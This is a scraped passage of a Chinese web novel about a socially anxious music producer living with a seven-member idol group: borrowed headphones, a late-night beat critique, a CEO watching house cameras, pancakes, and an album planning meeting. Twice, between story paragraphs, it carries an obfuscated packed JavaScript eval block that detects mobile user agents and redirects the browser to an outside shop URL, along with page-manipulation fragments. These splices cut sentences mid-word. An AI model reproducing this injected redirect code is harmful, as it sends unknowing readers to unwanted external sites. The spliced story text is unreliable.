“别这么说,太夸张了。”苏亦辰虽然也在笑,但还是温柔地嗔怪了一句,他的目光望向楼梯口,带着一丝无奈的笑意,“前辈好像有点害羞?” 夏予光一边笑一边精准地吐槽:“不是有点,是超级社恐吧!我们刚才一起说晚安的时候,我感觉她的灵魂都快要从头顶飘出去了!表情管理都完全放弃了!” “有那么明显吗?”路深问,他刚才光顾着傻乐了,没注意到那么多细节。 纪星衍附和:“通过一整天的交流相处来看,前辈简直是教科书级别的社交恐惧症。” “但是……”凌骁忽然淡淡开口,他交叉着双臂,目光也投向楼梯的方 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月光清冷,透过玻璃洒进来,在地毯上投下一片明亮的银霜。 她看着庭院里被夜色笼罩的婆娑树影,和远处城市里连成一片的点点灯火,紧绷的躯体才一点点松弛下来。 入住NOVA House的第一天,比她想象中要顺利些。 甚至可以说,有些出乎她的意料。 她以为会是无休止的尴尬和沉默,以为自己会像个异类一样被排斥在外。 但并没有。 他们会主动和她搭话,会认真听她讲那些枯燥的音乐理论,会在她饿肚子时表现出真切的关心,会在她想要独处时,给予恰到好处的体谅。 好像也没有那么难以忍受。 这个念头浮现出来的时候,江玥自己都吓了一跳。 就在她出神的时候,被她随手放在床上的手机,忽然“嗡嗡”地震动了一下。 江玥拿起来一看,屏幕上跳出一条微信通知: ——【迟临】邀请你加入了群聊。 她点了进去。 一个全新的微信群赫然出现在列表里。 群名是:【NOVA7与江玥前辈的美好同居生活(8)】。 这个充满了阳光活力的群名,江玥的嘴角不自觉地抽动了一下。 群里已经有了一条新消息,是群主迟临刚刚发的。 【迟临:前辈晚安,各位也早点休息。@全体成员】 紧接着,这条消息下面,一排格式整齐的卡通表情包瞬间刷了屏。 【夏予光:[小太阳晚安.gif]】 【路深:[小狗睡觉.jpg]】 【苏亦辰:[月亮星星说晚安.jpg]】 …… 一连七个,一个不落。 江玥面无表情地看着那个活泼得有些过分的群聊界面,陷入了长久的沉默。 她几乎都能想象到,这群NOVA7成员此刻正各自躺在床上,兴致勃勃地在群里进行着最后的睡前互动。 她犹豫了片刻,手指在屏幕上悬停了许久。 最终,她还是回复了“晚安”两个字。 然后默默地退出了聊天界面,点开右上角的菜单,熟练地找到了那个消息免打扰的开关,按了下去。 11.耳机 日子像猫爪下的毛线球,咕噜咕噜地就滚过去了几天。 江玥入住NOVA House后的头几天,一切都顺利得不像话。 每天的生活被切割成规律的块状。 早上,她通常是最后一个起床的。 当她睡眼惺忪地走出房间时,总能闻到厨房飘来的咖啡和烤面包的味道。 餐桌上,大家会进行简短的交流。 江玥多数时候只是安静地听着,偶尔被问到,就回一两个字。 她发现,这群成员褪去了偶像身份后,私下里也都很好相处,但有时也跟小学生没差。 他们会互相抢苏亦辰做的最后一块点心,也会毫不留情地吐槽陆子野新买的荧光色运动鞋。 午后,是成员们的训练时间。 江玥不怎么跟着去舞蹈练习室,而是更爱待在自己房间里。 不过偶尔收到邀请也会去看看,往往在成员们忙碌的时候,她不说话,也不指导,只是双手环胸在一边默默地观察。 摄像机在远处无声地记录着这一切。 江玥偶尔会和镜头对上视线,但她很快就会移开,将注意力重新投回那些成员身上。 她在本子上写写画画,记录着每个人的音色特点和习惯性的发声方式。 晚上,通常是各自的自由时间。 成员们会聚在客厅打游戏,战况激烈时,整个别墅都能听到他们的吵嚷声。 苏亦辰会待在厨房研究新的烘焙配方,或者去画室里安静地画画。 陆子野则喜欢窝在房间里,看起来是和江玥一样喜欢独处的人。 江玥很少参与。 她会端着一杯水,悄无声息地走上二楼,回到自己房间。 她会看书,或者打开手机看一些没营养的搞笑视频,偶尔也会戴上耳机,做一些新歌曲的demo。 她和他们的生活轨迹,就像两条相交线,在餐桌和练习室短暂交汇,然后迅速分开,各自延伸。 直到第三天晚上。 那天晚上,江玥照例在房间里听歌,听到一半,耳机里突然传来一阵滋滋的电流声,然后彻底没声了。 她摘下耳机,才发现耳机不知道什么时候被自己压坏了。 她翻了半天也没找到备用耳机,才想起来自己忘了带。 现在已经是凌晨,附近的商店都关了门,没有24h营业店,点开黄色外卖软件,有配送服务的店铺也全部超出了配送范围。 江玥在房间里站了一会儿,有点烦躁。 她偶尔有轻度的耳鸣,尤其是在安静的环境里,挥之不去的嗡嗡声会让她格外焦虑,音乐是她对抗耳鸣的唯一武器。 现在,武器坏了。 江玥陷入了沉思。 NOVA house是什么很偏僻的居住区吗? 它不是挨着云际娱乐大厦吗? 云际娱乐大厦附近不是全是商圈吗? 这种情况,简直就像是老天都在和她作对一样。 她犹豫了很久,最终还是打开了房门。 二楼的走廊一片漆黑,只有尽头的落地窗透进一点城市的霓虹,朦朦胧胧。 她在走廊里走了一圈,仔细听谁的房间里有声音传来,猜测谁是大半夜不睡觉的夜猫子。 凭着细微的声音,江玥摸索着走到了靠近楼梯口的那扇门前。 迟临说过,这间是凌骁的。 江玥犹豫了几秒,抬起手,轻轻敲了敲门。 “砰砰砰。” 过了好一会儿,门才从里面被拉开一条缝。 “谁啊?” 凌骁的蓝黑色短发乱糟糟的,显然是刚从一堆设备里抬起头。 他身上穿着一件宽大的黑色T恤,脸上没什么表情,蔚蓝色的眼睛在昏暗的光线下显得深邃,像海水,蒙着一层被打扰的不悦。 “前辈?”他看到是江玥,有些意外。 “那个,”江玥的视线越过他,看到了他房间里亮着指示灯的专业音乐设备,指了指自己耳朵,“我耳机坏了,想借你的用一下。明天就还你。” 凌骁揉了揉太阳穴。 他侧过身,让她看到房间的全貌。 那根本不像一间卧室,更像一个小型录音棚。 除了床,剩下的空间全被合成器、电脑、调音台和各种机器塞满了,桌上乱七八糟地摆着好几副不同型号的监听耳机。 他没说话,转身从桌上拿起一副看起来最崭新的头戴式耳机,递给了她。 江玥接过来,“谢谢。” 她转身想走。 凌骁突然叫住她:“前辈,等一下。” 江玥回头。 “前辈,”他靠在门框上,双手插在口袋里,目光落在她身上,带着一种探究,“你这几天,一直在看我们练习。” “所以,看出什么了吗?” 他问得很直接,像是在质问,又像是在期待一个答案。 期待一个来自江玥的,专业又不留情面的答案。 江玥看着他。 看着他靠在门框上的散漫姿态,和他那双在黑暗中依旧明亮的蔚蓝色眼睛。 这个叛逆又骄傲的偶像,在音乐的世界里,有着近乎偏执的认真。 她没有回答,也没有挪动脚步。 她只是抬起手,用那只没拿耳机的空手,指了指他房间里面。 “能进去说吗?” 凌骁挑了下眉,然后彻底拉开了房门,侧身让出了一条通道。 “请便。” 江玥踩进了这个属于凌骁的房间。 房间里的空气有种电子设备长时间运作后特有的温热气息,不算好闻,但莫名地让人安心。 出于礼貌,江玥没有去看那张被挤在角落里的床,目光直接落在了亮着屏幕的电脑上。 屏幕上是密密麻麻的音轨,花花绿绿,像某种复杂的城市规划图。 她走过去,拿起桌上的监听耳机戴上,按下了空格键。 一段鼓点密集,带着强烈侵略性的Trap Beat从耳机里炸开。 低音贝斯沉重地撞击着耳膜,混合着一些经过处理的细碎金属采样音效,构建出一个冷硬又充满张力的空间。 是首只完成了鼓组和Bassline的半成品,但骨架已经非常清晰。 这家伙,倒是有点东西。 江玥微微挑眉,听了大概三十秒,然后摘下耳机,看向凌骁。 凌骁一直站在她身后不远处,抱着手臂没说话,只是看着她,等她的评价。 “你的军鼓选得太薄了。” “这个Beat的底色是攻击性,但你的军鼓显得有点软绵绵的,每次敲击都泄了气,撑不住这么重的调。” 江玥说着,伸手在电脑前的MIDI键盘上敲了几个键,屏幕上的音源库立刻跳了出来。 她的手指在滚轮上划了几下,精准地停在了一个她熟悉的采样包上,然后从中拖出了一个音色。 “试试这个,加点压缩和失真,应该会好很多。” 凌骁的瞳孔几不可见地收缩了一下。 他立刻走上前,坐在椅子上戴好耳机,按照江玥说的,迅速地调整了参数,然后播放。 “咚——哒!” 新的军鼓音色响起的瞬间,整个Beat的气场完全变了。 清脆且利落,又带着点金属质感的炸裂声,和沉重的贝斯形成了强烈的呼应。 这才是他想要的那个味儿。 凌骁摘下耳机,抬头看着江玥。 他没说话,但眼神已经变了。 之前的那点审视和不悦消失了,取而代之的是一种棋逢对手的纯粹兴奋。 “为什么选这个?”他问,声音里已经没了刚才的疏离。 “你的采样习惯偏冷色调,喜欢用金属和工业噪音。”江玥看着屏幕,“刚才那个采样包是一个很小众的厂牌出的,专门做工业噪音的采样。我猜你应该会喜欢。” 凌骁看着眼前这个穿着普通,头发同样乱糟糟的前辈,第一次觉得那些关于她的传说,可能连她真实实力的十分之一都没描述出来。 “你也玩Trap?”他忍不住问。 “不怎么玩。”江玥摇摇头,实话实说,“但我听得很多。” 她顿了顿,又补充了一句:“各种风格都听。毕竟,你永远不知道什么时候,会需要从一首非洲部落的祭祀音乐里,找到一段适合用在流行歌里的节奏。” “我懂!”凌骁眼睛一亮,“就像我之前写的一首歌,Hook的灵感其实是来自一段川剧的帮腔!” 两人就着采样、音色、编曲结构这些话题,站在那台电脑前,低声地聊了起来。 没有前后辈的身份,没有综艺镜头的监视,只有两个对音乐有着同样偏执的创作者,在分享彼此的知识。 时间在不知不觉中流逝。 直到江玥口袋里的手机又震了一下,是裴景昭发来的第二条消息。 【裴景昭:还没睡?熬夜对身体健康不好,我的摇钱树。】 这人是装了监控一直在盯梢吗吗? ……哦对,节目组确实装了来着。 以裴景昭的权限,肯定可以随时查看。 江玥瞬间回神,她看了一眼时间,已经快凌晨三点了。 “不早了。”她拿起刚才凌骁借她的那副崭新耳机,“这个,我先借走了。” “嗯。”凌骁应了一声,他已经完全沉浸在了刚才的讨论里,正对着电脑屏幕飞快地修改着那段Beat,头也没抬,补了一句,“晚安。” “晚安。” 江玥转身走出了房间,脚步比来时轻快了不少。 耳鸣的声音,好像被那段燥裂的鼓点暂时驱散了。 凌骁的房门在她身后轻轻关上。 屋内的凌骁停下手中的动作,看着屏幕上那个被彻底盘活的军鼓音轨,拿起手机,点开了那个只有NOVA7成员的七人小群。 * * 价值六位数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828843|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钢笔在指间转了个圈,最后笔尖轻巧地停在了一份财务报表的签名栏上。 裴景昭没有落笔。 他的目光根本没在那串天文数字上,而是飘向了办公桌角落里的那块副屏。 屏幕上,九宫格的监控画面正实时播放着NOVA House里的情景。 客厅的灯光已经熄灭,所有成员都回房间睡觉了。 一派岁月静好。 无聊。 他指尖在鼠标上轻点,切换到三楼的健身房。空的。 再切到录音室。还是空的。 他耐着性子,把所有公共区域的监控都轮播了一遍。 一楼的厨房,庭院,三楼的练习室……全都没有那个他想看的身影。 搞什么啊,人呢? 一股没来由的烦躁从心底冒了上来。 裴景昭把钢笔扔在桌上,发出清脆响声。 他靠进宽大的真皮座椅里,解开了衬衫最上面的两颗扣子,露出一小片锁骨。 文件是看不下去了。 他索性将监控画面全屏放大,手指无意识地敲击桌面,发出单调的声响。 卧室里没装监控,这是底线,也是为了规避法律风险。 这个认知让他此刻觉得格外碍事。 她回房间了?睡了?还是在干什么别的? 各种念头在他脑子里乱窜,搅得他不得安宁。 他告诉自己,这只是一个投资人对自己最重要项目的例行关注。 江玥是公司的核心资产,确保她的安全和稳定,是总裁应尽的职责。 对,职责。 这个理由听起来冠冕堂皇,足以说服他自己。 裴景昭烦躁地揉了揉眉心,拿起手机,准备给刘姐发个消息,让她明天去旁敲侧击一下江玥的入住体验。 就在这时,监控画面里,二楼走廊尽头的阴影里,忽然出现了一个人影。 是江玥。 她穿着简单的白色T恤和长裤,光着脚,像只在夜间活动的猫。 裴景昭的身体瞬间坐直了。 敲击桌面的手指停了下来,桃花眼微微眯起,牢牢锁定了屏幕上那个小小的身影。 ——她想干什么? 只见江玥径直走到了其中一扇门前,停下。 裴景昭的鼠标立刻跟了过去,调出了那扇门对应的房间信息:凌骁。 大半夜的,找凌骁? 裴景昭眉毛拧起,看着江玥抬起手,敲响了凌骁的房门。 “叩、叩、叩。” 声音通过高保真收音设备清晰地传了过来。 他周身慵懒的气息消失得无影无踪,取而代之的是一种极具压迫感的审视。 怎么回事,她不知道有摄像头?还是知道了也无所谓? 虽然样片最终会由他审核,但他无法容忍任何潜在的不可控风险。 男女艺人深夜共处一室,这种话题一旦流出,就是最顶级的公关灾难。 裴景昭甚至已经开始在脑中构思,如果最坏的情况发生,他需要动用多少资源才能把这件事压下去。 就在他几乎要拿起手机,直接打电话给迟临去干预一下的时候,监控里传来了江玥的声音。 “凌骁,在吗?我耳机坏了,想借你的备用耳机。” 她的声音隔着门板,有点闷,但裴景昭清楚听见了。 紧接着,是凌骁开门的声音,和一句含糊的回应。 两人在门口交谈了几句,然后江玥就进了凌骁的房间。 裴景昭的脸色沉得能滴出水来。 凌骁真开门了? 江玥还真进去了? 他点开监听设备,将音量调到最大。 耳机里传来的,不是他想象中任何暧昧不清的对话,而是: “你的军鼓选得太薄了。” “试试这个,加点压缩和失真……” “你的采样习惯……” 全是音乐方面的专业术语。 该说不说,两个工作狂凑在一起,果然是在聊编曲? 裴景昭靠回椅背,紧绷的肩膀线条缓缓放松下来。 原来是这样。 刚才那股没来由的火气,瞬间消散得无影无踪。 房间门没关,裴景昭可以通过走廊监控看到,那两个人凑在电脑前,像是在研究什么绝密文件一样专注的身影,忽然觉得有点好笑。 他拿起那支被冷落的钢笔,在刚才那份文件上,龙飞凤舞地签下了自己的名字。 总算是有心思继续处理工作了。 裴景昭关掉了监听设备,只保留了监控画面。 过了好一会,他没忍住给江玥发了条信息,看见江玥带着耳机离开了凌骁房间,他这才满意地起身,也去休息了。 他想,还好,只是虚惊一场。 不会有绯闻,不会有麻烦。 他的摇钱树,还是那棵专业又省心,除了有点社恐外没什么毛病的摇钱树。 这就很好。 12.松饼 寂静的深夜,月光是唯一清醒的访客,悄悄溜进每个房间,给熟睡的成员们镀上一层银边。 夏予光的卧室里,手机突兀地亮起,随之而来的是一连串急促的震动。 “嗡嗡嗡——” 夏予光一个激灵,猛地从床上弹坐起来。 他迷迷糊糊地抓过手机,嘟囔着:“大半夜的难道有通知吗?” 刺眼的屏幕光让他眯起了眼睛,适应了好几秒才看清上面的内容。 是NOVA7的内部群聊。 引爆这个深夜话题的,是那个平时除了发灵感demo和句号之外,基本不怎么说话的凌骁。 【凌骁:@全体成员我收回我之前的话。】 【凌骁:她不是来当导师的。】 【凌骁:她是个外挂。】 看清楚的一瞬间,夏予光清醒了,他盘腿坐在床上,手指在屏幕上狂点,一连串的表情包像机关枪一样发射出去。 【夏予光:骁哥你认真的吗?!外挂?什么级别的外挂?!展开说说!】 【夏予光:前辈是现场给你freestyle了一段吊打全场的verse吗?还是说她闭着眼睛就把你的demo改成了一首神曲?!@凌骁】 隔壁房间,刚去洗手间解决完生理需求回到床上的路深,几乎是把手机砸在脸上才看清了消息。 【路深:我就说前辈超厉害的!骁哥你是不是被前辈的才华给征服了!】 【路深:@凌骁 骁哥骁哥,你别装死啊!快出来说说细节!前辈是不是超——温柔地指导你了?她身上的味道是不是特别好闻?】 【陆子野:?】 【苏亦辰:能和前辈聊音乐一定很开心吧,大家以后都要和前辈好好相处呀。】 【纪星衍:嗯,能让眼高于顶的凌骁承认的外挂,看来在我们不知道的时候,你们的技术交流成果挺显著啊。】 【纪星衍:建议提高警惕等级……哦不,是学习优先级。】 【纪星衍:@路深不过,闻味道这种事,你得问当事人。不过我猜,能让凌骁心甘情愿发这条消息,过程应该相当有意思。】 这番话成功地把装死的凌骁给炸了出来。 【凌骁:……】 【凌骁:闭嘴。】 【凌骁:就是聊了聊音乐。】 至于味道……他回忆了一下,江玥身上确实有股很淡的香味,像是白茶?还是茉莉? 反正不是香水味,闻起来很干净,不浓郁,更像是体香。 但是这种话他能说吗?说了纪星衍那个狗东西明天指不定要怎么编排他。 纪星衍看着那六个点,完全能想象出凌骁此刻一边烦躁地抓着头发,一边又不得不承认事实的憋屈模样。 他笑了笑,继续添油加醋。 【纪星衍:某人记得把请教的态度放端正一点,不要忘记这是我们千载难逢的金大腿,我们要抱出态度,要抱得精彩,让前辈心甘情愿地指导我们。】 【夏予光:哦哦哦,前辈的大腿我一定抱的死紧[流口水.jpg]】 看到夏予光发的抱大腿言论,陆子野下意识就打出了两个字。 【陆子野:不准。】 【夏予光:?】 【夏予光:你在不准什么?你可以抱另一条腿。】 【陆子野:。】 【陆子野:那行。】 发完以后,陆子野退出聊天框,手机屏幕背景是江玥某次演唱会站姐拍的高清图,他看了两眼,然后把手机息屏,搂过一边的江玥等身老鼠干抱枕安心地睡了。 就在群聊即将滑向奇怪的方向时,迟临出来终结了这场深夜的聊天。 【队长:还聊?都早点睡。明天早上七点半,客厅集合晨练。谁迟到谁负责打扫一周的公共厕所。】 【队长:@凌骁 外挂的事,明天再说。】 群里瞬间安静了。 * * 次日清晨,NOVA House的客厅里已经站了七个人。 每个人都穿着运动服,但精神状态却截然不同。 昨晚的群聊后劲太大了,兴奋过后就是加倍的疲惫。 “七点半,人齐了。”迟临看了一眼墙上的挂钟,声音平稳地宣布,“开始吧,先热身,老规矩,绕着庭院跑五圈。” 哀嚎声还没来得及发出,就被迟临一个平静的眼神压了回去。 众人只好拖着沉重的步伐,像一群丧尸一样晃晃悠悠地走向庭院。 晨练的气氛有些沉闷。 没人说话。 夏予光跑在最后面,感觉自己的眼皮有千斤重,他时不时地瞟向跑在前面的凌骁,眼神里充满了控诉。 都是你!害我昨晚兴奋到四点才睡着! 凌骁自然感受到了那灼人的视线,但他懒得理会。 他脑子里还在循环播放昨晚和江玥讨论过的那段Beat,军鼓每一次的敲击都在提醒他,自己还有多大的提升空间。 这种认知让他既烦躁又兴奋,两种情绪交织在一起,让他一整晚都没怎么睡好。 晨练结束,众人回到客厅,个个汗流浃背。 过来送早饭的助理体贴地递上毛巾和温水,夏予光接过水杯,灌了一大口,终于忍不住了。 “骁哥,”他凑到凌骁身边,眼睛亮晶晶的,“昨晚的事,你还没说完呢!到底是怎么个外挂法?” 路深也立刻竖起了耳朵,连擦汗的动作都停了。 凌骁瞥了他一眼,没好气地吐出两个字:“字面意思。” 夏予光不满地控诉:“这也太敷衍了吧!” “就是,”路深也帮腔,“我们都好奇死了!前辈到底做了什么让你这么这么佩服?” “佩服?”凌骁像是听到了什么好笑的事情,挑了下眉,“我只是承认她的专业能力很强而已。” 他顿了顿,似乎是在组织语言,最后还是选择了一种最简单直接的描述方式:“我有个demo卡住了,她听了十几秒,就指出了问题在哪,然后给了一个完美的解决方案。” 他看着众人震惊的表情,补充道:“顺便一提,她用的是一个我找了很久都没找到的采样。” 十几秒。 一个完美的解决方案。 这是什么概念? 这已经不是导师了,这简直就是人形的音乐数据库加顶级制作人。 “我就说!我偶像就是最牛的!”夏予光激动地发出了粉丝的忠实呐喊。 “太强了……”路深喃喃自语,眼神里充满了向往,“好想也被前辈这样指导一次啊。” 就在这时,楼梯上传来了轻微的脚步声。 众人下意识地抬头望去。 江玥依旧是T恤加工装裤的打扮,头发乱糟糟地翘着几根,正睡眼惺忪地从楼上走下来。 她一手还揉着眼睛,显然是刚醒,整个人都散发着没睡饱的起床气。 她看到客厅里齐刷刷的一群人,愣了一下。 “你们,起这么早?” 刚才还处于话题中心的外挂本人,此刻就以一种最接地气的姿态出现在了他们面前。 这种反差感,让所有人都一时不知道该说什么。 “早,前辈。”迟临语气温和,“我们晨练。” “哦。”江玥点了点头,径直走向厨房的饮水机接水。 接完水,她转身准备上楼,路过客厅时,脚步却顿了一下。 她的视线落在了凌骁身上。 “耳机。”她晃了晃自己脖子上挂着的那副头戴式耳机,言简意赅,“很好用,谢了。” 说完,她冲其他人点了点头,算是打过招呼,然后就头也不回地上楼了。 凌骁看着江玥消失在楼梯拐角的背影,摸了摸自己的耳钉,嘴角几不可察地向上弯了一下,随即又迅速恢复了那副拽拽的表情。 “咳。”纪星衍清了清嗓子,看向凌骁,语气里带着一丝揶揄,“能让社恐的前辈主动向你打招呼,看来昨晚的技术交流,成果确实显著啊。” “闭嘴吧你。”凌骁瞪了他一眼,转身也朝楼上走去,“我去洗澡了。” 只是那步伐,怎么看都比晨练时轻快了不少。 “哇——”夏予感叹,“骁哥居然没有怼回去!前辈的魅力,果真恐怖如斯!” 苏亦辰无奈笑笑,也上楼洗漱去了。 陆子野站在原地,静静地看着江玥消失的方向,眼神晦暗不明。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837089|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看到江玥和凌骁自然的互动,心里像是被什么东西不轻不重地扎了一下,有点闷。 他不喜欢这种感觉。 一点也不。 他转身,默默地走向三楼的练习室。 汗水浸湿的衣服黏在身上很不舒服,但他现在只想用一场高强度的舞蹈练习,来驱散心中莫名的烦躁。 * * 中午。 苏亦辰穿着白色亚麻衬衫,袖子随意地挽到手肘,露出一截线条漂亮的小臂。 他金色的卷发在阳光下笼罩着一圈毛茸茸的光晕,有几缕不太听话地翘着,让他整个人看起来多了些居家的柔软。 他正站在宽大的中岛台前,神情专注地搅动着玻璃碗里的面糊。 空气里弥漫着一股甜香,闻起来就让人心情很好。 苏亦辰今天心血来潮想做松饼,就是那种在咖啡店里卖得很贵,上面要淋满枫糖浆,再点缀几颗新鲜蓝莓的美式松饼。 前辈好像还没吃午饭,不知道前辈会不会喜欢甜食。 苏亦辰一边搅动着面糊,一边在心里思忖着。 嗯,还是再给她准备一份咸口的吧。 打定主意,苏亦辰手上的动作快了几分。 与此同时,三楼的练习室里,陆子野刚刚结束了一轮高强度的舞蹈练习。 音乐戛然而止,他喘着气,用挂在脖子上的毛巾擦了把脸。 黑色的速干运动背心已经被汗水完全浸透,紧紧地贴在身上,勾勒出流畅而结实的肌肉线条。 额前浅粉色的发丝湿漉漉地贴在光洁的额头上,几颗汗珠顺着他轮廓分明的下颌线滑落,滚过凸起的喉结,最终没入清晰的锁骨凹陷处,再朝着饱满的胸肌蜿蜒而下。 他走到墙边,拿起水瓶猛灌了几口,然后抓起搭在栏杆上的外套,准备回房间冲个澡。 走到楼梯口时,一股浓郁的甜香味从楼下飘了上来,霸道地钻进他的鼻腔。 他脚步一顿,循着香味走下楼。 餐厅的桌上,果然放着一盘刚出炉的松饼,金黄诱人,还冒着丝丝热气。 苏亦辰正把最后一颗蓝莓摆在松饼塔的顶端,看到他,露出了一个温柔的笑容:“子野,练完了?快来尝尝,刚做好的。” 陆子野“嗯”了一声,走过去,没什么表情地拿起一块松饼。 松饼还很温热,口感松软,甜度也恰到好处。 他吃东西的样子很安静,也很斯文,和他跳舞时那种充满爆发力的感觉截然不同。 他吃完一块,又拿了一块,转身打算带回房间。 刚走到楼梯口,就迎面撞上了正从楼上下来的江玥。 江玥大概也是被香味勾引下来的,她的头发随便扎了个小揪揪在脑后,几根碎发落在脸颊边。 她看起来还有点没睡醒,眼神都带着几分迷蒙,直到她的视线聚焦在了陆子野手里的那块松饼上。 那一瞬间,她的眼睛好像都亮了。 陆子野的脚步猛地停住了,整个人都僵在原地,心脏不合时宜地漏跳了一拍。 他能闻到江玥身上传来的淡淡的白茶茉莉香,和他自己刚刚训练完的一身汗味形成了鲜明对比。 陆子野甚至能感觉到自己背上黏腻的汗水正在往下滑,这让他感到一阵莫名的局促。 他下意识地想把手里的松饼藏到身后去,但已经来不及了。 江玥的目光直勾勾地盯着他手里的松饼,眼神是纯粹的渴望,和猫咪见到猫条时如出一辙。 她完全没注意到陆子野紧绷的身体,满心满眼都只有那块散发着甜香的食物。 江玥抬起头,视线终于从松饼上移开,落在了陆子野的脸上。 她的声音有点不好意思,带着点试探,“那个……厨房里,还有吗?” 陆子野看着江玥干净的杏眼,一时间竟然不知道该作何反应。 他张了张嘴,想说“你吃我这块吧”,又觉得不太合适。 想说“我下去给你拿”,又觉得太过殷勤。 最后,他只是僵硬地点了点头,“有。” 说完,他就几乎是落荒而逃般地侧身让开,快步走上了楼梯,连背影都透着一股同手同脚的僵硬。 13.争执 江玥没有注意到陆子野的怪异,脚步轻快地走向了香味的源头——餐厅。 一进餐厅,就看到苏亦辰正端着另一盘刚出炉的松饼从厨房里走出来。 他看到江玥,绿色的眼里漾开温柔的笑意。 “前辈,您饿了吗?快来尝尝这个,我新学的海盐焦糖蓝莓口味。” 在苏亦辰写满期待的目光中,江玥捏起一块松饼,小口咬下。 外皮带着一丝微脆,内里却无比松软,浓郁的黄油和奶香在口腔里化开,紧接着是海盐焦糖微咸带甜的复杂风味,最后是蓝莓爆开时一抹清新的酸甜。 嗯,好吃。 是能让人瞬间感到幸福的味道。 她又伸手拿了一块。 苏亦辰看她吃得满意,自己也心满意足地笑了起来,捧着剩下的松饼热情地去投喂其他成员。 “来来来,大家都尝尝!” “亦辰哥,我刚胖了一斤,一块就够了。”夏予光一脸痛苦地只拿了一块。 “对对对,经纪人姐姐说了,我再胖一斤就要扣我零花钱了。”路深附和,表情充满了不能吃的遗憾。 迟临和纪星衍也礼貌地表示了感谢,但都没有动手。 苏亦辰捧着那盘还剩下一大半的松饼,遗憾地叹了口气,脸上露出了像被抛弃的小狗一样委屈的表情。 他转过头,将最后的希望投向了唯一没有拒绝他的江玥。 “前辈……” 江玥正小口小口地吃着第二块松饼,闻言抬起头,看着苏亦辰求助的样子,又看了看盘子里剩下的两块。 她没有拒绝,只是默默地把盘子往自己这边扒拉了一下。 苏亦辰瞬间被治愈了,开心地坐回位置上,满脸欣慰地看着江玥把他的劳动成果吃得干干净净。 江玥吃完松饼,目光不经意地在餐桌上一扫,然后顿住了。 除了那盘松饼,餐桌的另一头还摆着一个精致的保温餐盒。 餐盒已经打开,里面是一份色泽诱人的川式牛肉面。 红油鲜亮,上面撒着翠绿的葱花和香菜,大块的牛肉炖得软烂入味,香气扑鼻,一看就不是别墅厨房能做出来的手艺。 “嗯?”江玥疑惑地歪了歪头,视线投向了迟临。 “前辈,这是裴总特意让助理一早从蜀香阁送来的。”迟临回答,“他说您可能吃不惯营养师搭配的健康餐,让您先吃点合胃口的。” 蜀香阁?那不是京华最有名的私房川菜馆吗?听说预定要提前一个月。 江玥心里有一点惊讶。 裴景昭这是打一巴掌给个甜枣? 她心里默默吐槽,但身体却很诚实地拿起了筷子。 面很好吃,是地道的川蜀风味,麻辣鲜香,劲道爽滑。 每一口都在抚慰她挑剔的川蜀胃。 算裴景昭有良心。 但不多。 毕竟这顿饭的钱,将来肯定还是会从她身上变本加厉地赚回去。 资本家嘛,从不做亏本买卖。 等江玥慢条斯理地吃完半碗面,心满意足地放下筷子时,迟临清了清嗓子,开口了。 “前辈,既然以后要一起合作,我想,我们应该开个短会,正式地互相了解一下彼此的音乐习惯和创作想法。” 他顿了顿,组织好语言继续说:“前辈入住NOVA House已经四天了,大家通过这几天的观察,我想心里也都有了一些初步的了解。所以,这也算是我们为了新专辑,召开的第一次正式作战会议。” 其他人闻言,立刻坐直了身体,表情严肃起来。 江玥用餐巾纸擦干净嘴角残留的红油,表情也染上了认真。 她点了点头。 “可以。” “前辈,这边请。” 迟临引着江玥,走向与餐厅相连的另一端。 那是一个开放式的多功能区域,一张足以容纳十几个人的原木长桌占据了中心位置,后方是整面墙的书架和一架安静伫立的三角钢琴。 巨大的落地窗外,是精心打理过的庭院,绿意盎然。 这里既是他们的休息区,也是书房,更是此刻的会议室。 成员们自觉找了位置坐下。 闻讯而来的助理很快泡好了茶,给每人面前都放了一杯。 江玥在主位坐下,双手交叠放在桌上,没有说话,只是静静地等待着发起人开口。 “咳。”迟临轻咳一声,拿出一个平板,指尖在屏幕上划了几下,调出一份文件。 “首先,非常感谢前辈能给我们这个机会。”他开口进入正题,“我们今天的会议主要有两个目的。” 他将平板电脑的屏幕转向众人,上面清晰地列着几条提纲,“第一,是让前辈对我们NOVA7有一个进一步的了解。第二,是关于下一张专辑,我们想听听前辈的专业意见。” 迟临微笑着看向江玥,“前辈刚来四天,可能对我们的了解还停留在表面。” “首先,我简单介绍一下我们团队和每个成员的定位。”迟临点开一个文件夹,里面是他们的官方宣传照。 “NOVA7,出道两年,目前发布了三张EP和一张正式专辑。团队的定位是自然治愈与都市成长,团队概念围绕:在城市中寻找自然之光,用音乐治愈心灵。” “音乐风格以流畅的旋律说唱、民谣流行和温暖电子为主。视觉上强调自然与都市的交融感,如天台、温室、深夜便利店等场景,传递温暖、陪伴和成长的讯息。” 他一边说,一边介绍起每个成员。 “我是队长,也是主唱之一,声线偏清冷,比较稳定。” “亦辰是副主唱,音色很温柔,擅长和声和抒情部分。” “子野是主舞,”迟临看向角落里的陆子野,“他的舞蹈实力是我们的王牌。” “凌骁是主rapper,声音较为低沉,也是我们多数曲子的制作人。” “纪星衍是副唱,他的舞台表现力非常强,声线偏清润。” “路深是领舞,也是副rapper,他的音色很有冲击力。” “夏予光是副唱,声音空灵,擅长高音,是团队vocal线的重要补充。” 迟临介绍完,将目光投向江玥,“前辈,关于下一张专辑,我们内部其实也讨论过几次,但一直没有一个明确的方向。” 